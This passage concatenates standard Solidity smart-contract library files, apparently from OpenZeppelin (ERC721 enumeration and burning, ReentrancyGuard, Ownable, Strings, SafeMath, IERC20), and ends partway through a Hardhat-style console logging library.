* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
